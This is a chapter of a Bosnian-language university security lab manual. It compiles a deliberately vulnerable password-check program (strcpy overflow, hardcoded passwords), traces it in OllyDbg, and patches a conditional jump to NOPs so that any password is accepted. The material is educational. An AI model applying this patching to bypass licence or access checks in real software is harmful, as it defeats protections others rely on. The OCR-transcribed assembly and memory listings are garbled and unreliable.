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12.2 Analiza izvrsnog koda

Koristenjem preuzetog debugger-a potrebno je analizirati izvrsni kod programa
koji je koristen u Vjezbi 5. Buffer overflow.

Rjesenje: Prija analize izvrsnog koda bilo je potrebno pretvoriti izvorni kod

programa u izvrsni. Za ovo je koristeno Dev-C++ integrisano razvojno okruzenje.
Ako nije instalirano na racunaru potrebno ga je preuzeti sa SourceForge lokacije:
https://sourceforge.net/projects/orwelldevcpp/files/.
Preuzeta verzija bila je 5.11. Preuzeta instalaciona datoteka je izvrsna i treba
je pokrenuti. Instalacija Dev-C++ je jednostavna. Za ovo namjenu dovoljno je
samo potvrditi ponudene izbore. Instalacija traje nekoliko minuta. Po zavrsetku
se dobije obavjestenje o uspjesnoj instalaciji i ponuda da se pokrene.

Prilikom prvog pokretanja Dev-C++ postavlja nekoliko pitanja na koja je
dovoljno odgovoriti prihvatanjem ponudenih izbora (ili ih prilagoditi, $to za
ovu vjezbu nije neophodno). Nakon pokretanja potrebno je ucitati izvorni kod
programa ranjiv.c putem menija "File—Open”. Nakon uc¢itavanja integrisano
okruzenje izgleda kao na slici 12.1.

Posto je OllyDbg 32 bitni debugger potrebno se osigurati da Dev-C++ napravi
32 bitnu izvr$nu verziju programa (jer se izvrSava na 64 bitnom Windows 7 OS).
To se postize putem menija ” Tools—Compiler Options...”. Na vrhu prozora koji
se otvori sa padajuce liste potrebno je izabrati ”32-bit Release” stavku kao na
slici 12.2.

Sada je jos potrebno pokrenuti pravljenje izvrSne verzije putem menija
”Execute—Compile” ili pritiskom na funkcijsku tipku F9. Nakon toga na lokaciji
sa koje je uc¢itan ranjiv.c pojavljuje se izvrSan datoteka ranjiv.exe. Nakon
ovoga Dev-C++ viSe nije potreban i moze se ugasiti

Izvrsni program je konzolni pa ga je potrebno pokrenuti sa komandne linije.
Sliéno kao i u vjezbi sa preljevom meduspremnika, gdje je izvrSavanje bilo na
Linux OS potrebno je vidjeti da li program radi kako je planirano. Program
je pokrenut bez parametara, zatim sa pogresnom lozinkom ”pogresna”’, te sa
ispravnom lozinkom ”tajna”. Program se izvrsavao na o¢ekivan nac¢in. Pokusano
je uraditi preljev meduspremnika kao i na Linux verziju unoSenjem, za jedan,
veceg broja znakova nego $to je predvideno za varijablu u koju se lozinka ucitava.
Rezultat je bio isti kao i na Linux verziji, odnosno poruka ”Pristup odobren”,
§to znaci da se i u Windows verziji moze iskoristiti isti preljev meduspremnika.
Medutim, to nije tema ove vjezbe i nije dalje razmatrano. Unesene komande i
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E ChUsers\studentad\Documents\TS\ranjiv.c - Dev-C++ 511
File Edit Search View Project Execute Tools AStyle Window Help

==

G @ M |[gropare)

|~» | BBIEE||44/9||BOmEE| | x|

1
2
3
a4

6
7
a
L
18
11
12
12
14

Project | Classes | Debug ranji\.r.c|

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

5 int provjeri lozinku(char *lozinka) {

int odobren_flag = @;
char loz_spremnik[&8];

strepy(loz_spremnik, lozinka);
if(stremp(loz_spremnik, "tajna") == @)
odobren_flag = 1;
if(stremp(loz_spremnik, "lab232") == @)
: odobren_flag = 1;

return odobren_flag;

int main(int argc, char *argv[]) {
if(arge < 2) {

printf("Upotreba: ¥s <lozinka>\n", argv[&]);

exit(a);

Aif(provjeri lozinku(argv[1])) {
: printf("\n++rrrrrrreesin") 5
printf("Pristup odobren.\n");

printf("++++++++++++++++\n"))

} else {

| printf("\n-----------ommooo- \n");
printf("Pristup zabranjen.\n");
primtff" - \n");

»

m

EE Compiler | E Resources | d]]]
L

Compile Log I¢ Debug I @, Find Results|

Line: 1 Cok 1

Sel:

0 Lines: 35 Length: 728 Insert

Done parsing ir

Slika 12.1: Dev-C++ - ucitan ranjiv.c

rezultati su prikazani na slici 12.3.

Kada je potvrdeno da program radi potrebno je izvrSnu verziju ucitati u Ol-
lyDbg. OllyDbg pokreée se dvostrukim klikom na datoteku ollydbg.exe koja
se nalazi medu raspakovanim datotekama iz kompresovane datoteke koja je pre-
uzeta. Ucitavanje izvrsne datoteke ranjiv.exe u OllyDbg vrsi se, standardno,
preko menija ”File—Open”. nakon ué¢itavanja dobije se korisnicko okruzenje kao
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=1

tudentad\Documents\TS\ranjiv.c - Dev-C++ 511

search  View Project Execute Tools AStyle Window Help
REEE |~ | BRRIEE| 4 BsO0 @& ¢
Compiler Options @ B

5 Compiler set to configure

[TDM-GCC 4.9.2 32-bit Release ']

TOM-GCC 4.9.2 64-bit Release
[ge TOM-GCC 4.9.2 64-bit Debug I
TOM-GCC 4.9.2 64-bit Profiling
E TOM-GCC 4.9.2 32-bit Release
TOM-GCC 4.9.2 32-hit Debug
TOM-GCC 4.9.2 32-bit Profiling E

w

Slika 12.2: Dev-C++ - podesavanje 32 bitne izvrsne datoteka

Administrator: Command Prompt

sUserssstudentadsDocumentss\IS>ranjiv.exe
potreha: ranjiv.exe <lozinkaX>

sUserssstudentadsDocumentss\TS»ranjiv.exe pogresna

ristup zahranjen.

sUserssstudentadsDocumentss\TS>ranjiv.exe

+++++++HHHHHE AR

Pristup odobren.
++++++++ 4+

sUserssstudentadsDocumentssTS>ranjiv.exe 123456789

+++++++HHHHHE AR

Pristup odobren.
++++++++ 4+

wUserssstudentadsDocuments~ T8>

Slika 12.3: ranjiv.exe - izvrSavanje na Windows 7
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CPU - main thread, module ranjiv

==

s

EEg L4924 §4_15] MO0 OWORD FIR 55:LECP+41,OFFCET BB4BrEl - |Reaisters (FPUD I
1 piEreied At ead) oL DWaRD Plzuggt[E?ﬁftEFFSET POMATORC e EFY 7SF73378 Kerne 92, Base ThreadIn (6 Thur—
e B ng?égf’ ECH BE4014EQ@ raniiv. <Modu leEntruPoint >
E3 FEFEFFFF | . | E5F GeEer
S9B4Z4 B ByRD PTR SS:LESPI, (A% sestus | Egp EeEg
EZ 0120088 | CALL {JNP.&msucct.en it MEUCRT, 2| EER
30B6_APPAREA| LEA EST, (ES1] Eh
SOECE? HEEEE| LEA EOT, [EODL] B _
S3EC B0 S0E EGP, EIF BE4A14ER ran i iv.<Modu leEntruPoint >
C7eE FOU DWORD PTR 0S: (4858341, 1
5 SEQABOOG | CALL BE4aiFrd Ei9- EEibEsh 3ol OIFEEFFRFT]
3Cq 8. DO ESE, B¢ A @ 55 6B2B 32bit @l )
3 REFCEFFF | JHF BB41 18 B0 B3 oocn bl 1
W [ER ESI,LES1I o E
e e o ; 5@ FS 985D 32bit VEFDOBBBLFFF) L
TBE HOU DUORD PTR DS: [4850341,0 D R cesBaasb L tsUlL ! 1
gCZE- NB009 F:-'— 86401F70 0@ LastErr @E986A88 ERROR_SUCCESS
3 BEFCFFFF | JIF BB411sa EFL BE888E46 (MO, ME,E, BE, NS, PE, GE, LE]
0 - A empty B,
G a empty @,
o 2 empty B,
0 empty B,
a N 4 empvéy S
£ USH_EEF ot
ES U EEF, ESF S ooty B
o £34% £4 oooe( 1100 DUPRD PTR SS:[LOCAL.31,@ L 3zie Etan 2ec
o0 2B4E o5 AU EAX,OWORD FTR 553 [ARG. 11 ERl B99p pond 208 RrERo@aa=
oodoicio|] - 594424 e | MOU DWORD PTR SE:TLOCAL.33,EAx pero =x 0w | P e e o
Tn=BBEOEEEE [ dec imal 12 E
ESP=GB2EFFSC o
=
ranjiv.{ModuleEntryPoint> - El 600000 il
Address |Hex dum If C7SFT358A| U3, u| RETURN to kernel3Z.BaseThreadIn ~
e
&3 26 46 B3| 4E EE 40 ES|B1 19 BF 44|88 8O 08 63| it ere bl el e
0 BE GO BE| 00 BB GO 0B BE 0O BE 00|03 OO 00 B9 A g Fs
OF BB 09 BE| 09 BB BB 08 OO 09 BB 09| AR OO 00 BD Free &
B8 BB 09 BB D9 BB BE 08 6E 09 B9 BE| 68 BB 00 68 )
R GRG0 BE| G0 AR GO O G OO AA GO| AR GE 00 66 FERS! | aoes i L
7| BB B0 BE BO| 0B BB 09 BE| 0O BB BB 0B BB 09 BB 5O 7
G 0O 0O BO| 0O BB 0O OB 0O 00 B9 00| 6B 0O 08 B0 .
OB BB 09 BE| 09 BB GO 08 B3 00 BB 09| AR BB 00 BB . 2 =
T T O 1 1 O

Slika 12.4: OllyDbg -

radno okruzenje

Korisnicko okruzenje sastoji se od Cetiri prozora: prozor sa asembler kodom
(najvedi, gore lijevo), prozorom sa vrijednostima registara sa desne strane, pro-
zor sa sadrzajem memorije dole lijevo i prozor sa sadrzajem stack dole desno.
Oznacena instrukcija u glavnom prozoru ”SUB ESP,0C” je pocetna instrukcija
izvrSavanja programa.

Osnovne komande OllyDbg, koje su potrebne za ostvarenje zeljenog cilja, su

slijedece:

F8 - izvrsavanje instrukcija jedan po jedna;
F7 - ulazak u pozvanu funkciju;
F2 - postavljanje mjesta zaustavljanja (breakpoint) na instrukeiju;
F9 - izvrsavanje programa (unutar OllyDbg);
F12 - pauziranje izvrsavanja programa,



278 12 VJEZBA: Upravljanje digitalnim pravima - Reverzni inZenjering
Meni ”"Debug” ispisuje ove i druge funkcijske tipke i njihovu funkciju.

Proces analize programa moze biti slozen i zahtijevati vise pokretanja zaustav-
ljanja i promjena parametara sa kojim se program pokrece. Program ranjiv.exe
je prilicno kratak i jednostavan. U njegovom kodu su stringovi koje debugger moze
prepoznati. Ove stringove OllyDbg ispisuje pored asembler koda kom odgovaraju.
na osnovu ovih ispisa moze se, prilicno lako pratiti tok programa i u asembler
kodu. Potrebno je primijetiti da je OllyDbg ispisao i ocekivane vrijednosti isprav-
nih lozinki ("tajna” i ”1ab232”). Ovo naglasava, u teoriji pomenuto, pravilo da
pohranjivanje lozinki u kodu programa u izvornom obliku nije dobra praksa. Dio
koda u glavnom prozoru gdje se vidi opisano prikazan je na slici 12.5.

GEdE1SIE[) - S94424 B4 MOL DWORD PTR S5: [LOCHL. 9], EHX =rc =r [HRG.1]
GEdE1si4) ) - 2045 EC LER ERx, [LOCAL.S]
4E1517 )« S908424 MOU DYORD PTR 55: ELDCHL 181, ERX dest =» OFFSET LOCHL.S
4E1E1A) - EE APL1EE08 | CALL <JHP.&mswert,stropy MEUCRT. _mbscpy
4ELELF|) »  CP4424 B4 @y 10U DWORD FTR S2: ELDCHL 91, 0FFSET @@d4@dr=trinaz => "tajna™
4E1E27 () - 8045 EC LER ERX,[LOCAL.5]
GE4EIEZA] - 898424 MOV DWORD PTR S5: [LOCHL. 181, ERX =trinal = OFFSET LOCAL.S
@E4E1s20|) - ES FE118808 | CALL <{JMP.&msuvort.strompl MSUCRT. st romp
GE4E1ss2| ) - B50E TEST ERX,EHX
BE4E1534|] = 75 @7 JME SHORT @@481530
4E1526| )« CPd4S F4 B1a Moy DWORD PTR SS: [LOCAL. 21,1
4E1ES0|) > CP4424 B4 @ MO DWORD PTR S2: [LOCAL. 2], 0FFSET @@4@84 Fetrinaz = "labz2z2"
4E1E451 )« 2D4E EC LER ERX, [LOCAL,.E]
4E18431] « 390424 Moy OWoRD PTR S5: [LOCAL. 181, ERKX =trinal = OFFSET LOCAL.ES
@E4E1s4E|) - ES 80110808 | CALL <{JMP.&msuvort. strompl MSUCRT. st romp
@E4ElssE | - 850e TEST ERX,ERX
BE4E1E52 ] = 75 @7 JME SHORT @@48155E
EE4E1E54 )« C745 F4 @1@a MoU DWORD PTR S5:[LOCAL. 21,1
4E1SEE| > SB4S F4 MOU ERX, DWORD PTR SS: [LOCHL. 21
4@1EEE( « CO LERVE
4E1EEF L. C3 RETH
4A1EE6E FE  BE FUSH EEBF
aa4Elsel| ) - G9ES MoW EEFP,ESP
@E4Elcez| | - S3E4 FB AMD ESP.FFFFFFFE DGEWORD (16.-buwtel stack alianment
GEdEites| | - 83EC 18 Sl .
GE4E15e3| )« ES EZ2E90E0E | CHLL Bed81FSe
GE4ElceE | - 8370 B8 el CHMP _DWORD PTR S55:[ARG.11,1
Ba4a1lEFz (] v 7F 21 J5 ZSHORT @@4aiEac
Ga4a1ET4 ) - 2B4E BC MOU ERX, DWORD PTR S2:[ARG.Z1
BR4AIEFT(] «  SEEE HaL ERX.DMDRD FTR DS:[CEAX]
@E4E1s73 | - 894424 B4 MOV DWORD PTR S55: [LOCAL.3]1,ERX LHs:
@E4E1s70| ) - CYe424 B04@4) MOV DWORD PTR S55: CLOCAL.41,0FFSET 88484-[Format =r "Upotrebar Hs {lozinkaX@™
@E4E15e4 )« ES 4F110808 | CALL {JMP.&msuvcrt.printil MSUCRT. pe intf
EE4E1529) ) - CYBd424 BEp@al MOU DWORD PTR S5:C[LOCAL.41,8 status = @
GE4E1596E ||« ES ZBEl160808 |CHLL {JMP.&meuvcrt.ewitl MSUCRT.ex it
GE4E1E3E ) > 2B4E B HMOU ERX, DWORD PTR S2:[ARG.Z]
GE4ELEIS) - 2308 B4 ADD EAX,. 4
GE4E1EE ()« SEOE HMOU ERX, DWORD PTR DS: [EAX]
@E4E1E50)) - 898424 MOU DWORD PTR SS:CLOGAL. 41, ERX
@E4E1srE| | - ES SEBFFFFFF | CALL 88481566
@E4E1SHES || - 8508 TEST ERH,EHX
BE4E1ISAT || = 74 26 JZ SHORT @@4@15CF
BE4E15A9) ) -« CYBd24 254@40 MOU DWORD PTR S5: [LOCAL.41,0FFSET G@484 Fetring = "EH+Hbbttr+0 44"
Ga4alceaE|) «  ES ZBL10@EE | CALL <JHP.&mswcrt.putsk MEUCRT. puts
GE4EAIEEE|) «  CYB424 S74@4 00 DWORD PTR S2: [LOCAL.41,0FFSET @@4@4 r=tring => "Pristup odobren."”
Ga4alceCc|) «  ES LFL1o@0a |CALL <JHP.&msucrt.putsk MEUCRT. puts
@E4ElsCcl| ) - CYB424 424840 MOV DWORD PTR 55: [CLOCAL.41,0FFSET @@484 Fotring = "+Htbbdtttbr 44"
@E4Elsce| - ES 131168808 | CALL <JMP.&msvort.putsl MSUCRT. puts
aade1sco|| - 24 MP SHORT @@
GE4E15CFE || > CPBd24 S594@4) MOU DWORD PTR S5: [LDCRL.4],DFFSET BE4ad Fetring
BE4E1506| )« ES B5116080@ |CHLL {JMP.&msuvcrt.putsl MSUCRT.puts
GE4ElE0E|) «  CYB424 cD4@di pOy DWORD PTR S2: [LOCAL.41,0FFSET G@d4@diFetroing =
Ga4EalEEZ ()« ES Fl@0@sa | CALL <JHP.&mswcrt.putsk MSUCRT.
GE4ELEET ()« CYB424 S@4@di MOV DWORD PTR S2:CLOCAL.41,0FFSET G@d4@dirstcoing =
@E4E1SEE|| - ES ED1@@@0E | CALL <JMP.&msuvort.putsl MSUCRT.
aa4elsF2)|| > C9 LERLE
modricralll r2 BETH

Slika 12.5: OllyDbg - asembler kod sa odgovaraju¢im stringovima
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Program je moguce poceti izvrsavati instrukciju po instrukciju pritiskom tipke
F8. Sa svakim pritiskom mijenja se oznacena instrukcija. Medutim na ovaj nacin
bilo bi potrebno pritisnuti ovu tipku prili¢no veliki broj puta. Ovdje je iskoristena
prethodno pomenuta ¢injenica da se na osnovu ispisa stringova moze orijentisati u
asembler kodu i pronadi instrukcija na kojoj bi bilo pogodno zaustaviti izvrsavanje
programa.

Potrebno je medu stringovima, sa desne strane glavnog prozora sa asembler
kodom, pronaéi string ” Pristup odobren.” (Ako je usljed pritiskanja F8 te kreta-
nja po kodu koje je time izazvano, tesko pronaci ovaj string, potrebno je ponovo
pokrenuti izvr§avanje programa putem menija " Debug—Restart” ili Ctrl-F2). Na
slici 12.6 prikazan je dio asembler koda sa oznac¢enom naredbom koja odgovara
ispisu ovog stringa.

HE4E1E20| ] - 298424 MOU OWORD PTR S55: [LOCAL.41,ER:

HE4E1ERE(L - E2 SBFFFFFF | CALL 88481568

HE4AIEAS() - S85CH TEST EHX, ERX

HELELIEAT || = 74 26 2 SHORT @Ed4E15CF

EE4a1EA%| ] - CYBE424 25484 MOY DWORD PTR 55: [LOCAL.41,0FFSET @844 r=tring = "E++++d+tttttti4+"
EE4E1EEAIL - ER FE116GAA | CALL <JMP.&msuvcrt.putss MSUCRT.puts

BE4a1E5BE|| - CFB424 374@4 MOY DWORD PTR 5S5: [LOCAL.41,0FFSET 884841 Fstring =* "Pristup adobren.™
EE4ElEEC] - E2 1F118888 | CALL {JMP.&msuvcrt.putss MSUCRT.puts

EEd4alsCifl - CP@d424 42404 MOU DWORD PTR 5S5:[LOCAL.41,0FFSET 884841 F=tring =F "++++tdbt+bt+4++44"
EEd4alECell - ES 1311686888 |CALL {JMP.fmsuvcrt.putsl MEUCRT.puts

Ba4a1cCc0|] -~ EB 24 JHP SHORT @B4B1SF3

EE4EitCF | > Cred2d So4B4) MOU DWORD PTR SS:CLOCAL.41,0FFSET eed4@dipstring = "B——————————-————- "
EE4Eit0e ] - E2 85118686 |CALL <JMP.&msvcrt.putsl MSUCRT.puts

@a4al1c0E | - Credz4 eD4@4) MOY OWORD PTR SS5:[LOCAL.41,0FFSET e@4@dir=tring = "Pristup zabranjen.™
GE4alCEZ|l - ES Folepgan | CALL <JMP.&msucrt.putss MSUCRT.puts

HE4ElCEY|] - CrBd4z4 So4@4d MOU DWORD PTR SS: [LOCAL.41,0FFSET B@484iF=tring =r M—————————————————- o
HE4ElCEE(l - ES EDleggea | CALL <JMP.&msuvcrt.putss MSUCRT.puts

BE4aicFs(l > C2 LERVE

BE4E1EF4 (L c2 RETH

HE4E1EFE [ HOP

Slika 12.6: OllyDbg - oznacen ispis ”Pristup odobren.”

Oznacena instrukcija, za ispis stringa ”Pristup odobren.” nalazi se na adresi
004015B5. Ako se pogleda okolina te instrukcije moze se utvrditi slijedece:

e Cetiri instrukcije prije nje, na adresi 004015A5, nalazi se instrukcija TEST
EAX,EAX. Ova instrukcija radi AND operaciju izmedu operanada (argume-
nata). Kao rezultat ove operacije postavljaju se zastavice (flags) Z, S i P. Zas-
tavica Z se postavlja ako je rezultat AND operacije 0. U konkretnom sluc¢aju
kada se porede dvije iste vrijednosti (sadrzaj registra EAX) ova zastavica je
postavljena samo ako je vrijednost koja se poredi sama sa sobom jednak 0.
Ovo znaci da navedena instrukcija poredi sadrzaj registra EAX sam sa sobom
i postavlja zastavicu Z samo ako je vrijednost u EAX jednaka 0. Postavljanje
ove zastavice bitno je za slijedecu instrukciju.

e Naredna instrukcija je JZ SHORT 004015CF. Ova instrukcija provjerava da li
je zastavica Z postavljena i ako jeste skace, pomjera izvrSavanje programa na
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instrukciju koja se nalazi na adresi 004015CF, koja je njen argument, a ako

nije izvrsava se naredna instrukcija.

— Naredna instrukcija, adresi 004015A9, na koju se premjesta izvrSavanje
programa ako u EAX nije bila 0, nalazi se prva od Sest instrukcija koje
ispisuju tri linije poruke o tome da je pristup odobren. Sedma instrukcija je
JMP SHORT 004015A9, koja skace na adresu na kojoj se nalaze instrukcije
koje zavrSavaju pozvanu funkciju u kojoj se program nalazi.

— Na adresi 004015CF, na koju se premjesta izvrsavanje programa ako je u
EAX bila 0, nalazi se prva od Sest instrukcija koje ispisuju tri linije po-
ruke o tome da pristup nije odobren. Sedma i osma instrukcija zavrsavaju
pozvanu funkciju u kojoj se program nalazi.

Iz ove analize koda moguce je zakljuciti da bi se u slu¢aju unosenje pogresne
lozinke u registru EAX trebala nalaziti 0 i ispisati poruka da pristup nije odo-
bren, a u slucaju ispravne lozinke ova vrijednost bi trebala biti razli¢ita od nula
i ispisati poruka da je pristup odobren.

Ova pretpostavka se moze i provjeriti izvrSsavanjem programa uz davanje
argumenta. Prvo je postavljena tacka prekida izvrsenja (breakpoint) na adresi
004015A5, odnosno instrukciji TEST EAX,EAX. Ovo je uradeno oznaCavanjem ins-
trukcije klikom na nju i pritiskom tipke F2. Kada se ovo uradi adresa instrukcije
postane crvena, a njena pozadina crna. Da bi se programu dao argument po-
trebno je oti¢i na meni "File—Set new argument...” te tamo unijeti vrijednost
argumenta. UnoSenje stringa ” pogresna” kao argumenta prikazano je na slici 12.7.

Kada je unesen argument, klikom na OK, u gornjem prozoru i pokrenuto
izvrienje programa izvrsavanje programa, tipkom F9 (ako pokretanje nije moguce,
potrebno je ponovno pokretanje programa kombinacijom tipki Ctrl-F2), izvrsavanje
programa zaustavljeno je na adresi 004015A5, odnosno instrukeiji TEST EAX,EAX.
Na slici 12.8 vidi se ovaj trenutak. Na istoj slici, u gornjem desnom zaokruzeno,
vidi se da je vrijednost u registru EAX jednaka 0.

Pritiskom tipke F8 nastavlja se izvrSavanje instrukciju po instrukciju. Naredna
instrukcija provjerava vrijednost zastavice Z i posto je postavljena skace se na
ispis poruke da pristup nije odobren. Pritiskanjem F8 potreban broj puta dolazi
se do komande LEAVE, a na ekranu koji prikazuje komandnu liniju moze se vidjeti
poruka kako je prikazano na slici 12.9.

Sa F9 izdaje se komada da se program izvrsi do kraja. Sada je promijenjena
vrijednost argumenta, na isti nac¢in kao i prvi put, na "tajna” Sto je ispravna
lozinka i trebao bi se dobiti ispis poruke da je pristup odobren. Ponovo je pokre-
nut program sa Ctrl-F2, pa F9. Izvrsavanje se ponovo zaustavilo na definisanoj
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f| File View Debug Trace Plugins Options Windows Help
He x| vl =] wij+ 30 AU LIEIMWT|CIR|.. K| E

Enter new command line argurnents @

Enecutable from Hiztory:

|laniiv.e:-:e -
Mew argurents: -
|pogresna -

e curent directone:

| e

‘Mﬂlb‘ju“ . T OMORD FTR TTLOCHL . 1, EH |
4a15AE EEI SBFFFFFF CALL &aa4a1566

Slika 12.7: OllyDbg - unosenje argumenta programa

B X| w0 w1 4| U] MHJJJ

EEEER R I AT
praniced| |« EE 4F11G088 | CALL <JHP. Gmsuert
St Bl e R ;

. o EMEUCTT n:
gp4p1535(| > 8845 BC 1R, DIORD PR B et
saanicoz|| © 2308 @4 ADD EA By —
sranicoe|| - GEEE Hou Ere oworo PTR| | Eor SRELFELE
godoison)| . Goedas MOV DWORD PTE St T EST Gesserno

. 2ECh TEST Eni, EAY DL bk
BRABLEAY|| - 74 26 J? SHORT BB4RiECF | EIF BB4E15AS o
pa4a15a3|| - Cre4z4 254malMOU DWORD PTR 55: |- & po ;oo o
go4a15E0(| - E3 25118889 | CALL <JMP.@msuert |5 § B2 posg o
oo4a15Es|| - Creszd Svaedt HOU OWORD PTR ss: | F B 52 2OE 5
go4aiSeC|| - Es 1F118880 | CALL <JiP.amsveet |5 8 55 2EEE S
po4a1SC1 (|« Cre4z4 42441 HOU DWORD PTR ss: |2 B D 2EEE =
po4a15ca|| - EB 13110088 |CALL <JHMP.&mewere |3 2 £Z 2252 =
aa461c0|| -« EB 24 JHP SHORT @ad4aisr: |1 2 i
pa4a150F || > Cre4z4 SedmalMOU DWORD PTR 55: |02 | _ipn m
Beanicos ||« EE BEL1GB8B | CALL <JHP.tmsuert
GaanicoE|| - Cred=4 G04B41 HOU DWORD FTR S5: | EFL B@@B8zes (f
poanicEz| |« E8 Fa10B8RE | CALL <JP.&msvert | oro copeo o0
opanlSEr|| - Crea24 opdpat HOU OWORD'PTR Ss: 21T Z0RRy BeD
Be45 1 ||« EE EOLGBROE | CALL <JHP. Gmeuert .
oe4aiEFs(| 5 E9 LEFIE ale eripry. 8.0
maAmiccall 0 fo CCTH = 1573 erpty 4.8

Slika 12.8: OllyDbg - zaustavljeno izvrsavanje i vrijednost EAX
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|E| File View Debug Trace Plugins Optior
Priztup zabranjen. e

S x| w]>]n] w3EEE0 AU] |
gadalss4| - ES 4F11@oaa [CALL <JHP.&mswvort |
BE4E1E89 CYed424 BEEEE MOY OWORD PTR S5:
BE4E1596 ES zZEllB@@E | CALL <JMP.&msucrt
BE4E1595 SEB4E5 @c MOW ERX, DWORD PTR
BE4E1598 S3CE B4 ADD ERX. 4

BE4E159E SEEE MOW ERX, OWORDC PTR
BE4a1590 g984:24 MOL OWORD PTR S5:
HE4E 1 ERE ES SEFFFFFF |CALL B@4E81566

+  BECH TEST ERX,ER=
HE4E1IEAT|] -~ T4 26 JZ2 SHORT BE4E15CF
aa4aisA9)) - CYed24 254840 MOU OWORD PTR SS5:
BE4E15E6 ES ZEliBEEE | CALL <JMP.&msucct
BE4E15ES Cvedz24 Sv4@4 MO OWORD PTR SS5:
BE4E15EC E2 1Fli@E@E | CALL <JMP.&msucct
BE4E15C1 Credz24 484840 MO OWORD PTR SS5:
GE4@isca|) - ES 12118888 | CALL <JMP.&msucct
Aa4ai5c0l) =~ rEE 24 JMP SHORT EE4E15F
AE4E15CF ) » | CYBd24 E94@410 MOU OWORD PTR S5:
GE4ais058|) - | ES BE11BEEE | CALL <JMP.&msucot
AE4E150E|] - | CYBd24 &04@41 MOU OWORD PTR S55:
GE4Ei5E2|) - | EE FR18BBEEE | CALL <JMP.&msucct
gE4a1cE7 (|« | Cre424 2@4841 MO DWORD PTR SS:
CE4E15EE]] - | ES EDIBEEEE | CALL <JMP.&msucrt
» bCo LERUE
BE4a15F4|1 - C3 RETH
BE4E1EFE el HOP *

Slika 12.9: OllyDbg - ispis poruke o zabrani pristupa

komandi. Razlika je sada bila §to je vrijednost u registru EAX bila 1. Kada je
izvrSavanje nastavljeno instrukciju po instrukciju tipkom F8 nije bilo skoka na
adresu 004015CF jer zastavica Z nije bila postavljena. Umjesto toga izvrsile su
se instrukcije za ispis poruke da je pristup odobren.

Ovim je zavrsena analiza rada programa, odnosno njegovog dijela u kom se
odlucuje da li je unesena ispravna lozinka ili ne. U nastavku je na osnovu ove ana-
lize izmijenjen izvr$ni oblik programa da omogucava ispis poruke da je pristup
odobren za bilo koju unesenu lozinku. Potrebno je napomenuti da se mogao ana-
lizirati i dio programa u kom se porede unesena i zadana vrijednost te mijenjati
taj dio.

12.3 Izmjena izvrsnog koda

Na osnovu analize pronaéi na¢in da se izvrsni kod izmjeni tako da prihvata pro-
izvoljnu lozinku ili da uopste ne trazi lozinku.

Za pomo¢ u realizaciji koristiti tutorijal ,Intro to Reverse Engineering - Part
2” dostupan na lokaciji:
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http://www.ethicalhacker.net/content/view/165/2/

Rjesenje: OllyDbg, kao i drugi alati za ovu namjenu, omogucava izmjenu asem-
bler koda. To se postize oznacavanjem linije koja se zeli promijeniti klikom na nju
i pritiskom na dugacku tipku ”Razmak” (space bar). Ova moguénost iskoristena
je da se ostvari zeljena funkcionalnost.

Izbrana je najjednostavnija opcija, da se izmjeni instrukcija JZ SHORT
004015CF, na adresi 004015A7.

Prvo je promijenjena vrijednost argumenta da bude pogresna lozinka, na isti
nacin kao i ranije. Ponovo je pokrenut program sa Ctrl-F2,a F9. Izvriavanje se
ponovo zaustavilo na definisanoj komandi TEST EAX,EAX. Oznacena je komanda
ispod nje (JZ SHORT 004015CF) klikom na nju. Pritiskom na dugacku tipku
razmak otvorio se prozor u kom je ispisana izabrana instrukcija sa moguénoséu
njene izmjene, kako je prikazano na slici 12.10.

FEEENE] ] AND ESF, FFFFFFFG OGUORD [ 16.-bwte . |Regizt
po4p1Eee|| - 83EC 1m SUE ESF, 18 Ex ﬁ%
Ga401562|| «  ES Er@denes |CALL @@deiFSe Eov &5
ga4B1G6E|] « E370 @4 B1 | CHP DWORD PTR SS:[ARG.11,1 e
pa4p1E7e|| - 7F o @
aa4a1574|] - 2E49 Assemble
ao481577|| - GEm
Bospican|| - £76
poanicoa|| - Es L (1= SHORT DO20150F |
po4piEaa|] - Cre
BR4G19E|| . E3 4 o 3
aE4a1595|| > sBad ¥ Kesp size
Boqoicse|| - com Assemble | ol |
. i " SEEmble e ]
poaaieeEl] i: oo [ Fill rest with NOPs
po4pichal| - ES —
. 3ECH TEST ERA, EO% tn
BE4B1EA7| v 74 26 JZ SHORT @B4E1SCF 0e L
BE4E1EAZ(| « | CPB424 254841 HOU DWORD PTR SS:[LOCAL.41,0FFSET @8484 string = "E+++
AE4E1SEA|] « | ES 2B1186A8 | CALL <JMP.&msucrct.putss Jump to mswcrt.p EFL 8&
BR461EEC |+ | G724 SP4Edi HOU DWORD FTR £S: [LOCAL.41,0FFSET @8484(r=tring => "Pris  |arg op
aa4615EC| | « | ES 1F1180888 | CALL <JMP.&msuert.putss MEUCRT. put= 27 =0

Slika 12.10: OllyDbg - izmjena instrukcije

Ova komanda, ako je uslov zadovoljen, preskace na ispis poruke da pristup nije
dozvoljen. Da nema ove komande izvrsile bi se naredne komande koje ispisuju da
je pristup odobren, nezavisno od unesene lozinke. Na osnovu ove logike izabrano
je da se komanda promjeni na komandu koja ne radi niste NOP. Polja ” Keep size” i
"Fill rest with NOPs” su bila oznacena. Klikom na dugme ” Assemble” izmijenjen
je asembler kod kako se vidi na slici 12.11.
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EEEEREE R AND ESF,FEFFFFFG DUWORD [ 16. bute , |Regist:
aa4aises(l - S2EC 1@ SUE ESF, 1@ o
aa4a1562(] - ES E-@99eee |CALL AB381FsE iate
ae4a155E(] - 5370 B2 @1 | CHP OWORD PR $S:[ARG.13.1 o
e I ==
. SSEMDIE
aa4a1se7 (| - @
Paqnicon|| - Soa
aE4a1554 (] - Eg 00401 B2 j
aa4a1523(| - Y@
aa4aicaall - Es :
aaqpizis|| > 54§ W Keep size
Baqnicac|| - Bo6 Ci |
- i 1 [RE]
oeaaieanll & 255 W Fill rest with NOPs
aadaicoall - E5
. 55Ch TEST ERA,EAA g
FEEENECH 36 MGF b e
AB4B15AS 3@ NOF ;
Ao4a15A3 (] - Cr@4ed 254@dl MOU OWORD PTR S5:[LOCAL.41,0FFSET @@e4@d| strina = "E++++ | EFL @80
AR4E15EA ||« ES ZBl1@E@@ | CALL <JMP.&mswort.puts> Jump to mewcrt .o ZTE em
ao4015ec | - 76424 3746df HOU DWORD'FTR Ss: [LOCAL. 41, 0FFSET Ba¢adi[=rreing = "Pris  |opf O
aE4a15EC|| »  EZ 1FL1088@ | CALL <dJMP.3mswert, putss MSUCRT. puts ire o
oo4nisci|| - Credad 454p4( AOU DNDRD FTR S8:ELOCAL. 41, OFFSET BBadalpzcring = "eser |75 21

Slika 12.11: OllyDbg - izmijenjena instrukcija i asembler kod

